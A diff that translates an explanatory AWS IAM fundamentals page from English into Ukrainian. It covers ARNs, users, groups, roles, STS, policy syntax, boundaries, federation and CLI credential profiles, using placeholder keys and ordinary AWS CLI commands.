[https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +Знайдіть **приклади JSON** в [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) ### ARN -**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this: - +**Ідентифікатор ресурсу Amazon (ARN)** - це **унікальна назва**, яку має кожен ресурс всередині AWS, вона складається ось так: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` - -Note that there are 4 partitions in AWS but only 3 ways to call them: +Зверніть увагу, що в AWS є 4 розділи, але лише 3 способи їх виклику: - AWS Standard: `aws` - AWS China: `aws-cn` - AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - Identity and Access Management +## IAM - Управління ідентифікацією та доступом -IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account. +IAM - це сервіс, який дозволяє вам керувати **Аутентифікацією**, **Авторизацією** та **Контролем доступу** у вашому обліковому записі AWS. -- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. -- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it. -- **Access Control** - The method and process of how access is granted to a secure resource +- **Аутентифікація** - Процес визначення особи та перевірки цієї особи. Цей процес можна поділити на: Ідентифікацію та перевірку. +- **Авторизація** - Визначає, до чого може отримати доступ особа в системі після її аутентифікації. +- **Контроль доступу** - Метод і процес надання доступу до захищеного ресурсу. -IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account. +IAM можна визначити за його здатністю керувати, контролювати та регулювати механізми аутентифікації, авторизації та контролю доступу осіб до ваших ресурсів у вашому обліковому записі AWS. -### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [Кореневий користувач облікового запису AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**. +Коли ви вперше створюєте обліковий запис Amazon Web Services (AWS), ви починаєте з єдиної особи для входу, яка має **повний доступ до всіх** сервісів та ресурсів AWS в обліковому записі. Це _**кореневий користувач**_ облікового запису AWS, до якого отримують доступ, увійшовши за **електронною адресою та паролем, які ви використовували для створення облікового запису**. -Note that a new **admin user** will have **less permissions that the root user**. +Зверніть увагу, що новий **адміністратор** матиме **менше прав, ніж кореневий користувач**. -From a security point of view, it's recommended to create other users and avoid using this one. +З точки зору безпеки рекомендується створити інших користувачів і уникати використання цього. -### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [Користувачі IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys). +Користувач IAM - це сутність, яку ви створюєте в AWS, щоб **представити особу або додаток**, який використовує його для **взаємодії з AWS**. Користувач в AWS складається з імені та облікових даних (пароль та до двох ключів доступу). -When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user. +Коли ви створюєте користувача IAM, ви надаєте йому **права** шляхом включення його до **групи користувачів**, яка має відповідні політики прав, або **безпосередньо прикріплюючи політики** до користувача. -Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Користувачі можуть мати **увімкнене MFA для входу** через консоль. API токени користувачів з увімкненим MFA не захищені MFA. Якщо ви хочете **обмежити доступ ключів API користувачів за допомогою MFA**, вам потрібно вказати в політиці, що для виконання певних дій MFA має бути присутнім (приклад [**тут**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI -- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT -- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs). +- **ID ключа доступу**: 20 випадкових великих алфавітно-цифрових символів, таких як AKHDNAPO86BSHKDIRYT +- **ID секретного ключа доступу**: 40 випадкових великих і малих символів: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (неможливо відновити втрачені ID секретного ключа доступу). -Whenever you need to **change the Access Key** this is the process you should follow:\ +Коли вам потрібно **змінити ключ доступу**, це процес, який ви повинні виконати:\ &#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ -### MFA - Multi Factor Authentication +### MFA - Багатофакторна аутентифікація -It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\ -You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS. +Вона використовується для **створення додаткового фактора для аутентифікації** на додаток до ваших існуючих методів, таких як пароль, тим самим створюючи багатофакторний рівень аутентифікації.\ +Ви можете використовувати **безкоштовний віртуальний додаток або фізичний пристрій**. Ви можете безкоштовно використовувати такі додатки, як Google Authenticator, щоб активувати MFA в AWS. -Policies with MFA conditions can be attached to the following: +Політики з умовами MFA можуть бути прикріплені до наступного: -- An IAM user or group -- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic -- The trust policy of an IAM role that can be assumed by a user - -If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\ -Note that **`AssumeRole` credentials don't contain this information**. +- Користувача або групи IAM +- Ресурсу, такому як кошик Amazon S3, черга Amazon SQS або тема Amazon SNS +- Політики довіри ролі IAM, яку може прийняти користувач +Якщо ви хочете **отримати доступ через CLI** до ресурсу, який **перевіряє MFA**, вам потрібно викликати **`GetSessionToken`**. Це надасть вам токен з інформацією про MFA.\ +Зверніть увагу, що **облікові дані `AssumeRole` не містять цю інформацію**. ```bash aws sts get-session-token --serial-number --token-code ``` +Як [**вказано тут**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), існує багато різних випадків, коли **MFA не може бути використано**. -As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**. +### [IAM групи користувачів](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) +IAM [група користувачів](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) — це спосіб **прикріпити політики до кількох користувачів** одночасно, що може спростити управління дозволами для цих користувачів. **Ролі та групи не можуть бути частиною групи**. -An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**. +Ви можете прикріпити **політику на основі ідентичності до групи користувачів**, щоб всі **користувачі** в групі користувачів **отримали дозволи політики**. Ви **не можете** ідентифікувати **групу користувачів** як **`Principal`** у **політиці** (такій як політика на основі ресурсу), оскільки групи стосуються дозволів, а не аутентифікації, а принципи є аутентифікованими сутностями IAM. -You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities. +Ось деякі важливі характеристики груп користувачів: -Here are some important characteristics of user groups: +- **Група користувачів** може **містити багато користувачів**, а **користувач** може **належати до кількох груп**. +- **Групи користувачів не можуть бути вкладеними**; вони можуть містити лише користувачів, а не інші групи користувачів. +- **Не існує групи користувачів за замовчуванням, яка автоматично включає всіх користувачів в обліковому записі AWS**. Якщо ви хочете мати таку групу користувачів, ви повинні створити її та призначити кожного нового користувача до неї. +- Кількість і розмір ресурсів IAM в обліковому записі AWS, таких як кількість груп і кількість груп, до яких може належати користувач, обмежені. Для отримання додаткової інформації див. [Квоти IAM та AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). -- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**. -- **User groups can't be nested**; they can contain only users, not other user groups. -- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it. -- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +### [IAM ролі](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) +IAM **роль** дуже **схожа** на **користувача**, оскільки це **ідентичність з політиками дозволів, які визначають, що** вона може і не може робити в AWS. Однак роль **не має жодних облікових даних** (пароль або ключі доступу), пов'язаних з нею. Замість того, щоб бути унікально пов'язаною з однією особою, роль призначена для того, щоб її **могли приймати будь-хто, хто її потребує (і має достатні дозволи)**. **Користувач IAM може прийняти роль, щоб тимчасово** отримати різні дозволи для конкретного завдання. Роль може бути **призначена** [**федеративному користувачу**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), який входить, використовуючи зовнішнього постачальника ідентичності замість IAM. -An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM. +IAM роль складається з **двох типів політик**: **політики довіри**, яка не може бути порожньою, що визначає, **хто може прийняти** роль, і **політики дозволів**, яка не може бути порожньою, що визначає, **до чого вона може отримати доступ**. -An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**. +#### AWS Служба безпечних токенів (STS) -#### AWS Security Token Service (STS) +AWS Служба безпечних токенів (STS) — це веб-сервіс, який полегшує **видачу тимчасових, обмежених привілеїв облікових даних**. Він спеціально розроблений для: -AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for: +### [Тимчасові облікові дані в IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +**Тимчасові облікові дані в основному використовуються з IAM ролями**, але є й інші використання. Ви можете запитати тимчасові облікові дані, які мають більш обмежений набір дозволів, ніж ваш стандартний користувач IAM. Це **запобігає** вам **випадковому виконанню завдань, які не дозволені** більш обмеженими обліковими даними. Перевагою тимчасових облікових даних є те, що вони автоматично закінчуються після встановленого періоду часу. Ви контролюєте тривалість, протягом якої облікові дані є дійсними. -**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid. +### Політики -### Policies +#### Дозволи політики -#### Policy Permissions +Використовуються для призначення дозволів. Є 2 типи: -Are used to assign permissions. There are 2 types: - -- AWS managed policies (preconfigured by AWS) -- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own.. - -By **default access** is **denied**, access will be granted if an explicit role has been specified.\ -If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default). +- Політики, керовані AWS (попередньо налаштовані AWS) +- Політики, керовані клієнтом: Налаштовані вами. Ви можете створювати політики на основі політик, керованих AWS (модифікуючи одну з них і створюючи свою), використовуючи генератор політик (GUI, який допомагає вам надавати та відмовляти в дозволах) або написавши свої власні. +За **замовчуванням доступ** **заборонено**, доступ буде надано, якщо вказано явну роль.\ +Якщо **існує єдине "Заперечення", воно переважатиме "Дозволити"**, за винятком запитів, які використовують кореневі облікові дані безпеки облікового запису AWS (які за замовчуванням дозволені). ```javascript { - "Version": "2012-10-17", //Version of the policy - "Statement": [ //Main element, there can be more than 1 entry in this array - { - "Sid": "Stmt32894y234276923" //Unique identifier (optional) - "Effect": "Allow", //Allow or deny - "Action": [ //Actions that will be allowed or denied - "ec2:AttachVolume", - "ec2:DetachVolume" - ], - "Resource": [ //Resource the action and effect will be applied to - "arn:aws:ec2:*:*:volume/*", - "arn:aws:ec2:*:*:instance/*" - ], - "Condition": { //Optional element that allow to control when the permission will be effective - "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} - } - } - ] +"Version": "2012-10-17", //Version of the policy +"Statement": [ //Main element, there can be more than 1 entry in this array +{ +"Sid": "Stmt32894y234276923" //Unique identifier (optional) +"Effect": "Allow", //Allow or deny +"Action": [ //Actions that will be allowed or denied +"ec2:AttachVolume", +"ec2:DetachVolume" +], +"Resource": [ //Resource the action and effect will be applied to +"arn:aws:ec2:*:*:volume/*", +"arn:aws:ec2:*:*:instance/*" +], +"Condition": { //Optional element that allow to control when the permission will be effective +"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} +} +} +] } ``` +The [глобальні поля, які можна використовувати для умов у будь-якій службі, задокументовані тут](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +[Специфічні поля, які можна використовувати для умов для кожної служби, задокументовані тут](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). -The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +#### Вбудовані політики -#### Inline Policies +Цей вид політик **безпосередньо призначається** користувачу, групі або ролі. Тоді вони не з'являються у списку політик, оскільки інші не можуть їх використовувати.\ +Вбудовані політики корисні, якщо ви хочете **підтримувати строгі однозначні відносини між політикою та ідентичністю**, до якої вона застосовується. Наприклад, ви хочете бути впевненими, що дозволи в політиці не призначені ненавмисно іншій ідентичності, окрім тієї, для якої вони призначені. Коли ви використовуєте вбудовану політику, дозволи в політиці не можуть бути ненавмисно прикріплені до неправильної ідентичності. Крім того, коли ви використовуєте AWS Management Console для видалення цієї ідентичності, політики, вбудовані в ідентичність, також видаляються. Це тому, що вони є частиною основної сутності. -This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\ -Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity. +#### Політики ресурсних кошиків -#### Resource Bucket Policies +Це **політики**, які можна визначити в **ресурсах**. **Не всі ресурси AWS підтримують їх**. -These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**. +Якщо у основної сутності немає явного заборони на них, і політика ресурсу надає їм доступ, тоді їм дозволено. -If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed. +### Межі IAM -### IAM Boundaries +Межі IAM можна використовувати для **обмеження дозволів, до яких користувач або роль повинні мати доступ**. Таким чином, навіть якщо інший набір дозволів надається користувачу **іншою політикою**, операція **не вдасться**, якщо він спробує їх використати. -IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them. +Межа - це просто політика, прикріплена до користувача, яка **вказує максимальний рівень дозволів, які користувач або роль можуть мати**. Отже, **навіть якщо у користувача є доступ адміністратора**, якщо межа вказує, що він може лише читати S· кошики, це максимальне, що він може зробити. -A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do. +**Це**, **SCP** та **дотримання принципу найменших привілеїв** - це способи контролю, щоб користувачі не мали більше дозволів, ніж їм потрібно. -**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs. +### Політики сесії -### Session Policies - -A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has). - -This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised. +Політика сесії - це **політика, встановлена, коли роль приймається** якимось чином. Це буде як **межа IAM для цієї сесії**: Це означає, що політика сесії не надає дозволів, а **обмежує їх до тих, що вказані в політиці** (максимальні дозволи - це ті, які має роль). +Це корисно для **заходів безпеки**: Коли адміністратор збирається прийняти дуже привілейовану роль, він може обмежити дозволи лише тими, що вказані в політиці сесії, у разі, якщо сесія буде скомпрометована. ```bash aws sts assume-role \ - --role-arn \ - --role-session-name \ - [--policy-arns ] - [--policy ] +--role-arn \ +--role-session-name \ +[--policy-arns ] +[--policy ] ``` +Зверніть увагу, що за замовчуванням **AWS може додавати політики сесії до сесій**, які будуть згенеровані з інших причин. Наприклад, у [неавтентифікованих ролях, що припускають Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) за замовчуванням (використовуючи розширену автентифікацію), AWS згенерує **облікові дані сесії з політикою сесії**, яка обмежує сервіси, до яких може отримати доступ ця сесія [**до наступного списку**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Отже, якщо в якийсь момент ви зіткнетеся з помилкою "... тому що жодна політика сесії не дозволяє ...", і роль має доступ для виконання дії, це тому, що **існує політика сесії, яка цьому заважає**. -Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**. +### Федерація ідентичності -### Identity Federation +Федерація ідентичності **дозволяє користувачам з постачальників ідентичності, які є зовнішніми** для AWS, безпечно отримувати доступ до ресурсів AWS без необхідності надавати облікові дані користувача AWS з дійсного облікового запису IAM.\ +Прикладом постачальника ідентичності може бути ваш власний корпоративний **Microsoft Active Directory** (через **SAML**) або **OpenID** сервіси (як **Google**). Федеративний доступ дозволить користувачам всередині нього отримувати доступ до AWS. -Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\ -An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS. +Щоб налаштувати це довір'я, створюється **постачальник ідентичності IAM (SAML або OAuth)**, який буде **довіряти** **іншій платформі**. Потім принаймні одна **роль IAM призначається (довіряє) постачальнику ідентичності**. Якщо користувач з довіреної платформи отримує доступ до AWS, він буде отримувати доступ як зазначена роль. -To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role. - -However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other. +Однак зазвичай ви захочете надати **іншу роль в залежності від групи користувача** на сторонній платформі. Тоді кілька **ролей IAM можуть довіряти** сторонньому постачальнику ідентичності, а стороння платформа буде тією, що дозволяє користувачам приймати одну роль або іншу.
-### IAM Identity Center +### IAM Центр ідентичності -AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications. +AWS IAM Центр ідентичності (наступник AWS Single Sign-On) розширює можливості AWS Identity and Access Management (IAM), щоб забезпечити **централізоване місце**, яке об'єднує **адміністрування користувачів та їх доступ до облікових записів AWS** та хмарних додатків. -The login domain is going to be something like `.awsapps.com`. +Домен для входу буде чимось на зразок `.awsapps.com`. -To login users, there are 3 identity sources that can be used: +Для входу користувачів можна використовувати 3 джерела ідентичності: -- Identity Center Directory: Regular AWS users -- Active Directory: Supports different connectors -- External Identity Provider: All users and groups come from an external Identity Provider (IdP) +- Директорія Центру ідентичності: Звичайні користувачі AWS +- Active Directory: Підтримує різні конектори +- Зовнішній постачальник ідентичності: Всі користувачі та групи походять від зовнішнього постачальника ідентичності (IdP)
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization. +У найпростішому випадку директорії Центру ідентичності, **Центр ідентичності матиме список користувачів і груп** і зможе **призначати політики** їм для **будь-якого з облікових записів** організації. -In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account. +Щоб надати доступ користувачу/групі Центру ідентичності до облікового запису, буде створено **постачальника ідентичності SAML, який довіряє Центру ідентичності**, і **роль, що довіряє постачальнику ідентичності з вказаними політиками, буде створена** в цільовому обліковому записі. #### AwsSSOInlinePolicy -It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**. +Можливо **надавати дозволи через вбудовані політики для ролей, створених через IAM Центр ідентичності**. Ролі, створені в облікових записах, яким надаються **вбудовані політики в AWS Центрі ідентичності**, матимуть ці дозволи у вбудованій політиці під назвою **`AwsSSOInlinePolicy`**. -Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**. +Отже, навіть якщо ви бачите 2 ролі з вбудованою політикою під назвою **`AwsSSOInlinePolicy`**, це **не означає, що вони мають однакові дозволи**. -### Cross Account Trusts and Roles +### Довірчі відносини та ролі між обліковими записами -**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ -It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. +**Користувач** (довіряючий) може створити роль між обліковими записами з деякими політиками, а потім **дозволити іншому користувачу** (довіреному) **отримати доступ до свого облікового запису**, але лише **маючи доступ, вказаний у нових політиках ролі**. Щоб створити це, просто створіть нову роль і виберіть Роль між обліковими записами. Ролі для доступу між обліковими записами пропонують два варіанти. Надання доступу між обліковими записами AWS, які ви володієте, і надання доступу між обліковим записом, яким ви володієте, та стороннім обліковим записом AWS.\ +Рекомендується **вказати користувача, який є довіреним, а не ставити щось загальне**, оскільки в іншому випадку інші автентифіковані користувачі, такі як федеративні користувачі, також зможуть зловживати цією довірою. ### AWS Simple AD -Not supported: +Не підтримується: -- Trust Relations -- AD Admin Center -- Full PS API support -- AD Recycle Bin -- Group Managed Service Accounts -- Schema Extensions -- No Direct access to OS or Instances +- Довірчі відносини +- Центр адміністрування AD +- Повна підтримка PS API +- Кошик для переробки AD +- Групові керовані облікові записи служб +- Розширення схеми +- Немає прямого доступу до ОС або екземплярів -#### Web Federation or OpenID Authentication +#### Веб-федерація або автентифікація OpenID -The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS. +Додаток використовує AssumeRoleWithWebIdentity для створення тимчасових облікових даних. Однак це не надає доступ до консолі AWS, лише доступ до ресурсів у AWS. -### Other IAM options +### Інші варіанти IAM -- You can **set a password policy setting** options like minimum length and password requirements. -- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**. +- Ви можете **встановити параметри політики паролів**, такі як мінімальна довжина та вимоги до паролів. +- Ви можете **завантажити "Звіт про облікові дані"** з інформацією про поточні облікові дані (такі як час створення користувача, чи увімкнено пароль...). Ви можете генерувати звіт про облікові дані так часто, як раз на **чотири години**. -AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**. +AWS Identity and Access Management (IAM) забезпечує **точний контроль доступу** по всьому AWS. З IAM ви можете вказати, **хто може отримати доступ до яких сервісів і ресурсів**, і за яких умов. За допомогою політик IAM ви керуєте дозволами для вашої робочої сили та систем, щоб **забезпечити найменші привілеї**. -### IAM ID Prefixes +### Префікси IAM ID -In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature: +На [**цій сторінці**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) ви можете знайти **префікси IAM ID** ключів залежно від їх природи: -| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [Токен носія служби AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Context-specific credential | -| AGPA | User group | -| AIDA | IAM user | -| AIPA | Amazon EC2 instance profile | -| AKIA | Access key | -| ANPA | Managed policy | -| ANVA | Version in a managed policy | -| APKA | Public key | -| AROA | Role | -| ASCA | Certificate | -| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. | +| ACCA | Контекстно-специфічні облікові дані | +| AGPA | Група користувачів | +| AIDA | Користувач IAM | +| AIPA | Профіль екземпляра Amazon EC2 | +| AKIA | Ключ доступу | +| ANPA | Керована політика | +| ANVA | Версія в керованій політиці | +| APKA | Публічний ключ | +| AROA | Роль | +| ASCA | Сертифікат | +| ASIA | [Тимчасові (AWS STS) ідентифікатори ключів доступу](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) використовують цей префікс, але є унікальними лише в комбінації з секретним ключем доступу та токеном сесії. | -### Recommended permissions to audit accounts +### Рекомендовані дозволи для аудиту облікових записів -The following privileges grant various read access of metadata: +Наступні привілеї надають різний доступ для читання метаданих: - `arn:aws:iam::aws:policy/SecurityAudit` - `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess` @@ -336,14 +324,13 @@ The following privileges grant various read access of metadata: - `directconnect:DescribeConnections` - `dynamodb:ListTables` -## Misc +## Різне -### CLI Authentication - -In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\ -In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\ -Example of credentials file with more than 1 profile: +### CLI автентифікація +Щоб звичайний користувач міг автентифікуватися в AWS через CLI, вам потрібно мати **локальні облікові дані**. За замовчуванням ви можете налаштувати їх **вручну** в `~/.aws/credentials` або **запустивши** `aws configure`.\ +У цьому файлі ви можете мати більше ніж один профіль, якщо **жоден профіль** не вказано за допомогою **aws cli**, буде використано той, що називається **`[default]`** в цьому файлі.\ +Приклад файлу облікових даних з більш ніж 1 профілем: ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -354,12 +341,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` +Якщо вам потрібно отримати доступ до **різних облікових записів AWS** і вашому профілю було надано доступ до **прийняття ролі в цих облікових записах**, вам не потрібно вручну викликати STS щоразу (`aws sts assume-role --role-arn --role-session-name sessname`) і налаштовувати облікові дані. -If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials. - -You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\ -A config file example: - +Ви можете використовувати файл `~/.aws/config`, щоб [**вказати, які ролі приймати**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), а потім використовувати параметр `--profile` як зазвичай (прийняття ролі буде виконано прозоро для користувача).\ +Приклад конфігураційного файлу: ``` [profile acc2] region=eu-west-2 @@ -368,23 +353,16 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` - -With this config file you can then use aws cli like: - +З цим файлом конфігурації ви можете використовувати aws cli, як: ``` aws --profile acc2 ... ``` 